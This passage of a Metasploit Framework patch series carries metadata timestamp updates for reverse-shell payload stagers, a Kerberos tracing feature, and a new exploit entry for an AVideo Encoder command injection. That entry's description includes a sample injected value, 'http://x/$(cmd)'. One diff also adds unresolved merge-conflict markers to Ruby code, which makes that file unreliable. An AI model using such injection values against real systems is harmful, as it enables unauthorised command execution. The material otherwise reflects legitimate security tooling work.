-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
     "is_install_path": true,
     "ref_name": "windows/dllinject/reverse_winhttp",
@@ -264532,7 +264495,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_http.rb",
     "is_install_path": true,
     "ref_name": "windows/meterpreter/reverse_http",
@@ -264610,7 +264573,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_https.rb",
     "is_install_path": true,
     "ref_name": "windows/meterpreter/reverse_https",
@@ -265044,7 +265007,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
     "is_install_path": true,
     "ref_name": "windows/meterpreter/reverse_winhttp",
@@ -265084,7 +265047,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_winhttps.rb",
     "is_install_path": true,
     "ref_name": "windows/meterpreter/reverse_winhttps",
@@ -269704,7 +269667,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_http.rb",
     "is_install_path": true,
     "ref_name": "windows/vncinject/reverse_http",
@@ -270124,7 +270087,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
     "is_install_path": true,
     "ref_name": "windows/vncinject/reverse_winhttp",
@@ -270369,7 +270332,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/custom/reverse_http",
@@ -270405,7 +270368,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/custom/reverse_https",
@@ -270581,7 +270544,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/custom/reverse_winhttp",
@@ -270615,7 +270578,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/custom/reverse_winhttps",
@@ -270680,7 +270643,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/encrypted_shell/reverse_tcp",
@@ -270714,7 +270677,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-20 02:57:34 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/encrypted_shell_reverse_tcp",
@@ -271077,7 +271040,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/meterpreter/reverse_http",
@@ -271118,7 +271081,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/meterpreter/reverse_https",
@@ -271312,7 +271275,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/meterpreter/reverse_winhttp",
@@ -271350,7 +271313,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/meterpreter/reverse_winhttps",
@@ -272704,7 +272667,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/vncinject/reverse_http",
@@ -272743,7 +272706,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/vncinject/reverse_https",
@@ -272894,7 +272857,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/vncinject/reverse_winhttp",
@@ -272931,7 +272894,7 @@
     "autofilter_ports": null,
     "autofilter_services": null,
     "targets": null,
-    "mod_time": "2025-04-19 11:11:01 +0000",
+    "mod_time": "2026-03-13 14:31:00 +0000",
     "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb",
     "is_install_path": true,
     "ref_name": "windows/x64/vncinject/reverse_winhttps",

From d47a41c73276a42a8bd287ddf5646045ae7ba6e0 Mon Sep 17 00:00:00 2001
From: Jack Heysel <jack_heysel@rapid7.com>
Date: Tue, 17 Mar 2026 12:03:10 -0700
Subject: [PATCH 093/103] Fix version check in ldap_esc_vulnerable_cert_finder

---
 modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb
index 10c13b73d6f2f..b136069c160b4 100644
--- a/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb
+++ b/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb
@@ -1094,7 +1094,7 @@ def domain_controller_version_check
     user_info = adds_get_current_user(@ldap)
     return unless user_info
 
-    user = [:sAMAccountName].first.to_s
+    user = user_info[:sAMAccountName].first.to_s
     domain = domain_info[:dns_name]
     print_status("user: #{user}, domain: #{domain}")
 

From 01d88791d2fa7fe18d7ed428ec374f308edc4324 Mon Sep 17 00:00:00 2001
From: Nayeraneru <nayera.shafeeq@gmail.com>
Date: Wed, 18 Mar 2026 00:14:15 +0200
Subject: [PATCH 094/103] Removed unnecessary code and module

---
 .../exploit/remote/kerberos/clock_skew.rb     | 46 -------------------
 .../kerberos/service_authenticator/options.rb |  2 +-
 lib/rex/proto/mssql/client.rb                 |  2 +-
 3 files changed, 2 insertions(+), 48 deletions(-)
 delete mode 100644 lib/msf/core/exploit/remote/kerberos/clock_skew.rb

diff --git a/lib/msf/core/exploit/remote/kerberos/clock_skew.rb b/lib/msf/core/exploit/remote/kerberos/clock_skew.rb
deleted file mode 100644
index 0b95298c99fc4..0000000000000
--- a/lib/msf/core/exploit/remote/kerberos/clock_skew.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# -*- coding: binary -*-
-
-module Msf
-  class Exploit
-    class Remote
-      module Kerberos
-        # Helper methods for handling Kerberos clock skew adjustments.
-        module ClockSkew
-          CLOCK_SKEW_REGEX = /\A([+-]?\d+(?:\.\d+)?(?:[smhd])?)+\z/i.freeze
-
-          UNIT_IN_SECONDS = {
-            's' => 1,
-            'm' => 60,
-            'h' => 3_600,
-            'd' => 86_400
-          }.freeze
-
-          module_function
-
-          # Convert a user supplied clock skew value into seconds.
-          #
-          # @param value [String, Numeric, nil] The skew value to parse, e.g. '-5m', '120', 30
-          # @return [Float] The skew in seconds
-          # @raise [Msf::OptionValidateError] If the value cannot be parsed
-          def parse(value)
-            return 0 if value.nil?
-            return value.to_f if value.is_a?(Numeric)
-
-            trimmed_value = value.to_s.strip
-            return 0 if trimmed_value.empty?
-            return trimmed_value.to_f if trimmed_value.match?(/\A[+-]?\d+(?:\.\d+)?\z/)
-            raise Msf::OptionValidateError, 'Invalid KrbClockSkew format' unless trimmed_value.match?(CLOCK_SKEW_REGEX)
-
-            total = 0
-            trimmed_value.scan(/([+-]?\d+(?:\.\d+)?)([smhd]?)/i) do |amount, unit|
-              unit = 's' if unit.blank?
-              multiplier = UNIT_IN_SECONDS[unit.downcase]
-              total += amount.to_f * multiplier
-            end
-            total
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
index 1d539e6de9a91..0c303e0afb2a8 100644
--- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
+++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
@@ -65,6 +65,6 @@ def kerberos_auth_options(protocol:, auth_methods:)
   #
   # @return [Float]
   def kerberos_clock_skew_seconds
-    Msf::OptTimedelta.parse(datastore['KrbClockSkew'])
+    datastore['KrbClockSkew']
   end
 end
diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb
index c841fb71a8431..c741d4682660e 100644
--- a/lib/rex/proto/mssql/client.rb
+++ b/lib/rex/proto/mssql/client.rb
@@ -389,7 +389,7 @@ def login_kerberos(user, pass, db, domain_name)
             framework: framework,
             framework_module: framework_module,
             ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module),
-            clock_skew: Msf::OptTimedelta.parse(framework_module.datastore['KrbClockSkew'])
+            clock_skew: framework_module.datastore['KrbClockSkew']
           )
 
           kerberos_result = kerberos_authenticator.authenticate

From a1fa54e3d41668909f3214408de5b61109d3759a Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Tue, 17 Mar 2026 22:53:26 +0000
Subject: [PATCH 095/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index af26c49e581ab..b56824c4997c7 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -24864,7 +24864,7 @@
     "autofilter_ports": [],
     "autofilter_services": [],
     "targets": null,
-    "mod_time": "2026-02-23 11:26:44 +0000",
+    "mod_time": "2026-03-17 12:03:10 +0000",
     "path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
     "is_install_path": true,
     "ref_name": "gather/ldap_esc_vulnerable_cert_finder",

From b263ba78fa13e2802d73c602269c23ffa2f3d25b Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Wed, 18 Mar 2026 23:56:12 +0000
Subject: [PATCH 096/103] automatic module_metadata_base.json update

---
 db/modules_metadata_base.json | 58 +++++++++++++++++++++++++++++++++++
 1 file changed, 58 insertions(+)

diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json
index b56824c4997c7..9046650175454 100644
--- a/db/modules_metadata_base.json
+++ b/db/modules_metadata_base.json
@@ -70537,6 +70537,64 @@
     "session_types": false,
     "needs_cleanup": true
   },
+  "exploit_linux/http/avideo_encoder_getimage_cmd_injection": {
+    "name": "AVideo Encoder getImage.php Unauthenticated Command Injection",
+    "fullname": "exploit/linux/http/avideo_encoder_getimage_cmd_injection",
+    "aliases": [],
+    "rank": 600,
+    "disclosure_date": "2026-03-05",
+    "type": "exploit",
+    "author": [
+      "arkmarta",
+      "Valentin Lobstein <chocapikk@leakix.net>"
+    ],
+    "description": "This module exploits an unauthenticated OS command injection vulnerability\n          in AVideo Encoder's getImage.php endpoint (CVE-2026-29058).\n\n          The base64Url GET parameter is base64-decoded and injected directly into an\n          ffmpeg shell command within double quotes, without any sanitization or use of\n          escapeshellarg(). PHP's FILTER_VALIDATE_URL check does not block shell\n          metacharacters such as $() in the URL path, allowing command substitution.\n\n          A crafted URL like http://x/$(cmd) passes FILTER_VALIDATE_URL and is interpolated\n          into: ffmpeg -i \"{$url}\" ... resulting in arbitrary command execution as www-data.\n\n          The Encoder code is served by the main AVideo Apache container (mounted at\n          /Encoder), so exploitation gives access to the main application context including\n          database credentials and configuration.\n\n          Fixed in AVideo Encoder version 7.0 (commit 78178d1) which added escapeshellarg()\n          and shell metacharacter stripping.",
+    "references": [
+      "CVE-2026-29058",
+      "GHSA-9j26-99jh-v26q"
+    ],
+    "platform": "Linux,Unix",
+    "arch": "cmd",
+    "rport": 80,
+    "autofilter_ports": [
+      80,
+      8080,
+      443,
+      8000,
+      8888,
+      8880,
+      8008,
+      3000,
+      8443
+    ],
+    "autofilter_services": [
+      "http",
+      "https"
+    ],
+    "targets": [
+      "Unix/Linux Command Shell"
+    ],
+    "mod_time": "2026-03-06 21:28:39 +0000",
+    "path": "/modules/exploits/linux/http/avideo_encoder_getimage_cmd_injection.rb",
+    "is_install_path": true,
+    "ref_name": "linux/http/avideo_encoder_getimage_cmd_injection",
+    "check": true,
+    "post_auth": false,
+    "default_credential": false,
+    "notes": {
+      "Stability": [
+        "crash-safe"
+      ],
+      "Reliability": [
+        "repeatable-session"
+      ],
+      "SideEffects": [
+        "ioc-in-logs"
+      ]
+    },
+    "session_types": false,
+    "needs_cleanup": null
+  },
   "exploit_linux/http/axis_app_install": {
     "name": "Axis IP Camera Application Upload",
     "fullname": "exploit/linux/http/axis_app_install",

From e836223760806395c79038f49b0682fa1188b101 Mon Sep 17 00:00:00 2001
From: jenkins-metasploit <jenkins-metasploit@build-production.r7ops.com>
Date: Thu, 19 Mar 2026 15:02:17 +0000
Subject: [PATCH 097/103] Bump version of framework to 6.4.124

---
 Gemfile.lock                        | 2 +-
 LICENSE_GEMS                        | 2 +-
 lib/metasploit/framework/version.rb | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index b5be2e33f7a68..d2d923b97ddea 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (6.4.123)
+    metasploit-framework (6.4.124)
       aarch64
       abbrev
       actionpack (~> 7.2.0)
diff --git a/LICENSE_GEMS b/LICENSE_GEMS
index c4957c7bfd518..6d93a1a8d09bc 100644
--- a/LICENSE_GEMS
+++ b/LICENSE_GEMS
@@ -97,7 +97,7 @@ memory_profiler, 1.1.0, MIT
 metasm, 1.0.5, LGPL-2.1
 metasploit-concern, 5.0.5, "New BSD"
 metasploit-credential, 6.0.20, "New BSD"
-metasploit-framework, 6.4.123, "New BSD"
+metasploit-framework, 6.4.124, "New BSD"
 metasploit-model, 5.0.4, "New BSD"
 metasploit-payloads, 2.0.240, "3-clause (or ""modified"") BSD"
 metasploit_data_models, 6.0.15, "New BSD"
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index d86af92e10e57..886d11513d0eb 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -32,7 +32,7 @@ def self.get_hash
         end
       end
 
-      VERSION = "6.4.123"
+      VERSION = "6.4.124"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From ac46d361441ed55522892e703fe9635fde67e645 Mon Sep 17 00:00:00 2001
From: cyan <1570302455@qq.com>
Date: Sat, 7 Mar 2026 06:16:51 -0800
Subject: [PATCH 098/103] Add KerberosTicketTrace support for AS/TGS/AP
 exchanges

---
 .../core/exploit/remote/kerberos/client.rb    |  23 +-
 .../kerberos/service_authenticator/base.rb    |   5 +-
 .../kerberos/service_authenticator/options.rb |  10 +
 lib/rex/proto/kerberos/client.rb              |   7 +
 .../kerberos/kerberos_logger_subscriber.rb    | 182 +++++++++
 lib/rex/proto/kerberos/kerberos_subscriber.rb |  22 ++
 spec/lib/rex/proto/kerberos/client_spec.rb    |   5 +
 .../kerberos_logger_subscriber_spec.rb        | 347 ++++++++++++++++++
 8 files changed, 598 insertions(+), 3 deletions(-)
 create mode 100644 lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
 create mode 100644 lib/rex/proto/kerberos/kerberos_subscriber.rb
 create mode 100644 spec/lib/rex/proto/kerberos/kerberos_logger_subscriber_spec.rb

diff --git a/lib/msf/core/exploit/remote/kerberos/client.rb b/lib/msf/core/exploit/remote/kerberos/client.rb
index d838717c7bc3b..617c138ba3de8 100644
--- a/lib/msf/core/exploit/remote/kerberos/client.rb
+++ b/lib/msf/core/exploit/remote/kerberos/client.rb
@@ -1,6 +1,11 @@
 # -*- coding: binary -*-
 
+<<<<<<< HEAD
 require 'msf/core/opt_timedelta'
+=======
+require 'msf/core/exploit/remote/kerberos/clock_skew'
+require 'rex/proto/kerberos/kerberos_logger_subscriber'
+>>>>>>> Add KerberosTicketTrace support for AS/TGS/AP exchanges
 
 module Msf
   class Exploit
@@ -45,7 +50,9 @@ def initialize(info = {})
 
             register_advanced_options(
               [
-                OptTimedelta.new('KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'])
+                OptTimedelta.new('KrbClockSkew', [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s']),
+                OptBool.new('KerberosTicketTrace', [false, 'Show AS/TGS/AP Kerberos requests and responses', false]),
+                OptString.new('KerberosTicketTraceColors', [false, 'Kerberos request and response colors for KerberosTicketTrace (unset to disable)', 'red/blu'])
               ], self.class
             )
           end
@@ -133,6 +140,7 @@ def connect(opts = {})
             remote_host = has_session ? session.client.peerhost : rhost
             # Can't use session.client.rport as a fallback here with an LDAP session as that's port 389. We need port 88.
             remote_port = has_session ? 88 : rport
+            subscriber = opts.key?(:subscriber) ? opts[:subscriber] : kerberos_trace_subscriber
 
             kerb_client = Rex::Proto::Kerberos::Client.new(
               host: opts[:rhost] || remote_host,
@@ -143,7 +151,8 @@ def connect(opts = {})
                 'Msf' => framework,
                 'MsfExploit' => framework_module
               },
-              protocol: 'tcp'
+              protocol: 'tcp',
+              subscriber: subscriber
             )
 
             disconnect if kerberos_client
@@ -488,6 +497,16 @@ def framework_module
             self
           end
 
+          def kerberos_trace_subscriber
+            logger = framework_module
+
+            if logger.respond_to?(:print_line) && logger.respond_to?(:datastore)
+              Rex::Proto::Kerberos::KerberosLoggerSubscriber.new(logger: logger)
+            else
+              Rex::Proto::Kerberos::KerberosSubscriber.new
+            end
+          end
+
           private
 
           #
diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
index 45e2c1e036773..e682bb360549e 100644
--- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
+++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb
@@ -285,7 +285,9 @@ def authenticate(options = {})
       auth_context = authenticate_via_krb5_ccache_credential_tgt(auth_context[:credential], options)
     end
 
-    ap_request_asn1 = auth_context.delete(:service_ap_request).to_asn1
+    service_ap_request = auth_context.delete(:service_ap_request)
+    kerberos_trace_subscriber.on_request(service_ap_request)
+    ap_request_asn1 = service_ap_request.to_asn1
 
     mechanism = options.fetch(:mechanism) { self.mechanism }
     if mechanism == Rex::Proto::Gss::Mechanism::SPNEGO
@@ -332,6 +334,7 @@ def parse_gss_init_response(token, session_key)
         }
       when TOK_ID_KRB_ERROR
         krb_err = Rex::Proto::Kerberos::Model::KrbError.decode(data)
+        kerberos_trace_subscriber.on_response(krb_err)
         print_error("#{peer} - Received KRB-ERR.")
 
         raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new(res: krb_err)
diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
index 0c303e0afb2a8..e36fdb5237ce4 100644
--- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
+++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/options.rb
@@ -43,6 +43,16 @@ def kerberos_auth_options(protocol:, auth_methods:)
         [true, 'Adjust Kerberos client clock by this offset (e.g. 90s, -5m, 1h)', '0s'],
         conditions: option_conditions
       ),
+      Msf::OptBool.new(
+        'KerberosTicketTrace',
+        [false, 'Show AS/TGS/AP Kerberos requests and responses', false],
+        conditions: option_conditions
+      ),
+      Msf::OptString.new(
+        'KerberosTicketTraceColors',
+        [false, 'Kerberos request and response colors for KerberosTicketTrace (unset to disable)', 'red/blu'],
+        conditions: option_conditions
+      ),
       Msf::OptAddress.new(
         'DomainControllerRhost',
         [false, 'The resolvable rhost for the Domain Controller'],
diff --git a/lib/rex/proto/kerberos/client.rb b/lib/rex/proto/kerberos/client.rb
index a4779ad177b62..77a322c81c9c0 100644
--- a/lib/rex/proto/kerberos/client.rb
+++ b/lib/rex/proto/kerberos/client.rb
@@ -1,6 +1,7 @@
 # -*- coding: binary -*-
 
 require 'rex/stopwatch'
+require 'rex/proto/kerberos/kerberos_subscriber'
 
 module Rex
   module Proto
@@ -29,6 +30,9 @@ class Client
         # @!attribute context
         #   @return [Hash] The Msf context where the connection belongs to
         attr_accessor :context
+        # @!attribute subscriber
+        #   @return [Rex::Proto::Kerberos::KerberosSubscriber] Subscriber used for tracing Kerberos
+        attr_accessor :subscriber
 
         def initialize(opts = {})
           self.host = opts[:host]
@@ -37,6 +41,7 @@ def initialize(opts = {})
           self.timeout  = (opts[:timeout] || 10).to_i
           self.protocol = opts[:protocol] || 'tcp'
           self.context  = opts[:context] || {}
+          self.subscriber = opts[:subscriber] || KerberosSubscriber.new
         end
 
         # Creates a connection through a Rex socket
@@ -76,6 +81,7 @@ def close
         # @raise [NotImplementedError] if the transport protocol isn't supported
         def send_request(req)
           connect
+          subscriber.on_request(req)
 
           sent = 0
           case protocol
@@ -112,6 +118,7 @@ def recv_response
             raise ::RuntimeError, 'Kerberos Client: unknown transport protocol'
           end
 
+          subscriber.on_response(res)
           res
         end
 
diff --git a/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
new file mode 100644
index 0000000000000..8cb127bedc06c
--- /dev/null
+++ b/lib/rex/proto/kerberos/kerberos_logger_subscriber.rb
@@ -0,0 +1,182 @@
+# -*- coding: binary -*-
+
+require 'json'
+require 'time'
+require 'rex/proto/kerberos/model'
+require 'rex/proto/kerberos/kerberos_subscriber'
+
+module Rex
+module Proto
+module Kerberos
+
+  # Logs Kerberos requests/responses
+  class KerberosLoggerSubscriber < KerberosSubscriber
+    # Limit binary previews to keep logs readable and avoid dumping large blobs.
+    BINARY_PREVIEW_SIZE = 32
+
+    def initialize(logger:)
+      super()
+      raise RuntimeError, "Incompatible logger" unless logger.respond_to?(:print_line) && logger.respond_to?(:datastore)
+      @logger = logger
+    end
+
+    # (see Rex::Proto::Kerberos::KerberosSubscriber#on_request)
+    def on_request(request)
+      return unless trace_enabled?
+
+      request_color, _response_color = trace_colors
+      print_header('Request', request)
+      @logger.print_line("%clr#{request_color}#{format_message(request)}%clr")
+    end
+
+    # (see Rex::Proto::Kerberos::KerberosSubscriber#on_response)
+    def on_response(response)
+      return unless trace_enabled?
+
+      _request_color, response_color = trace_colors
+      print_header('Response', response)
+      if response.nil?
+        @logger.print_line('No response received')
+        return
+      end
+
+      @logger.print_line("%clr#{response_color}#{format_message(response)}%clr")
+    end
+
+    private
+
+    def trace_enabled?
+      @logger.datastore['KerberosTicketTrace']
+    end
+
+    def trace_colors
+      configured_trace_colors = @logger.datastore['KerberosTicketTraceColors']
+      # Keep HttpTrace-compatible default formatting: request/response color pair.
+      trace_colors = blank_value?(configured_trace_colors) ? 'red/blu' : configured_trace_colors
+      trace_colors += '/' if trace_colors.count('/') == 0
+      trace_colors.gsub('/', ' / ').split('/').map do |color|
+        blank_value?(color&.strip) ? '' : "%bld%#{color.strip}"
+      end
+    end
+
+    def print_header(direction, message)
+      @logger.print_line('#' * 20)
+      @logger.print_line("# Kerberos #{direction}: #{message_type_name(message)}")
+      @logger.print_line('#' * 20)
+    end
+
+    def message_type_name(message)
+      msg_type = message.msg_type if message.respond_to?(:msg_type)
+      case msg_type
+      when Rex::Proto::Kerberos::Model::AS_REQ
+        'AS-REQ'
+      when Rex::Proto::Kerberos::Model::AS_REP
+        'AS-REP'
+      when Rex::Proto::Kerberos::Model::TGS_REQ
+        'TGS-REQ'
+      when Rex::Proto::Kerberos::Model::TGS_REP
+        'TGS-REP'
+      when Rex::Proto::Kerberos::Model::AP_REQ
+        'AP-REQ'
+      when Rex::Proto::Kerberos::Model::AP_REP
+        'AP-REP'
+      when Rex::Proto::Kerberos::Model::KRB_ERROR
+        'KRB-ERROR'
+      when nil
+        'UNKNOWN'
+      else
+        "UNKNOWN (#{msg_type})"
+      end
+    end
+
+    def format_message(message)
+      return 'null' if message.nil?
+
+      if message.respond_to?(:attributes)
+        # Kerberos model objects are serialized into stable JSON for easier diffing/debugging.
+        JSON.pretty_generate(serialize_element(message))
+      else
+        # Fall back for non-model objects.
+        message.to_s
+      end
+    end
+
+    def serialize_element(element)
+      element.attributes.each_with_object({}) do |attribute, output|
+        value = element.public_send(attribute)
+        next if value.nil?
+
+        output[attribute.to_s] = serialize_value(value)
+      end
+    end
+
+    def serialize_value(value)
+      if value.respond_to?(:attributes)
+        # Recursively serialize nested Kerberos model objects.
+        serialize_element(value)
+      elsif kerberos_error_code?(value)
+        # Normalize ErrorCode-like objects to a compact structured form.
+        {
+          'name' => value.name,
+          'value' => value.value,
+          'description' => value.description
+        }
+      else
+        serialize_scalar_value(value)
+      end
+    end
+
+    def serialize_scalar_value(value)
+      case value
+      when Array
+        value.map { |entry| serialize_value(entry) }
+      when Hash
+        value.each_with_object({}) do |(key, entry), output|
+          output[key.to_s] = serialize_value(entry)
+        end
+      when Time
+        value.utc.iso8601
+      when String
+        serialize_string(value)
+      when Symbol
+        value.to_s
+      when Integer, Float, TrueClass, FalseClass, NilClass
+        value
+      else
+        value.to_s
+      end
+    end
+
+    def kerberos_error_code?(value)
+      value.respond_to?(:name) && value.respond_to?(:value) && value.respond_to?(:description)
+    end
+
+    def serialize_string(value)
+      return value if printable_string?(value)
+
+      # Show a short hex prefix when strings are binary/non-printable.
+      preview = value.byteslice(0, BINARY_PREVIEW_SIZE).to_s.unpack1('H*')
+      suffix = value.bytesize > BINARY_PREVIEW_SIZE ? '...' : ''
+      "[binary #{value.bytesize} bytes: #{preview}#{suffix}]"
+    end
+
+    def printable_string?(value)
+      utf8_value = value.dup.force_encoding(::Encoding::UTF_8)
+      utf8_value.valid_encoding? && utf8_value.match?(/\A[[:print:]\r\n\t ]*\z/)
+    rescue ::Encoding::CompatibilityError
+      false
+    end
+
+    def blank_value?(value)
+      # Avoid depending on ActiveSupport's `blank?` for this Rex-level helper.
+      return true if value.nil? || value == false
+      return value.strip.empty? if value.respond_to?(:strip)
+      return value.empty? if value.respond_to?(:empty?)
+
+      false
+    end
+  end
+
+end
+end
+end
diff --git a/lib/rex/proto/kerberos/kerberos_subscriber.rb b/lib/rex/proto/kerberos/kerberos_subscriber.rb
new file mode 100644
index 0000000000000..fac59992f76ff
--- /dev/null
+++ b/lib/rex/proto/kerberos/kerberos_subscriber.rb
@@ -0,0 +1,22 @@
+# -*- coding: binary -*-
+
+module Rex
+module Proto
+module Kerberos
+
+  # Subscriber interface for observing Kerberos request/response messages.
+  class KerberosSubscriber
+    # @param request [Rex::Proto::Kerberos::Model::KdcRequest, Rex::Proto::Kerberos::Model::ApReq]
+    def on_request(request)
+      nil
+    end
+
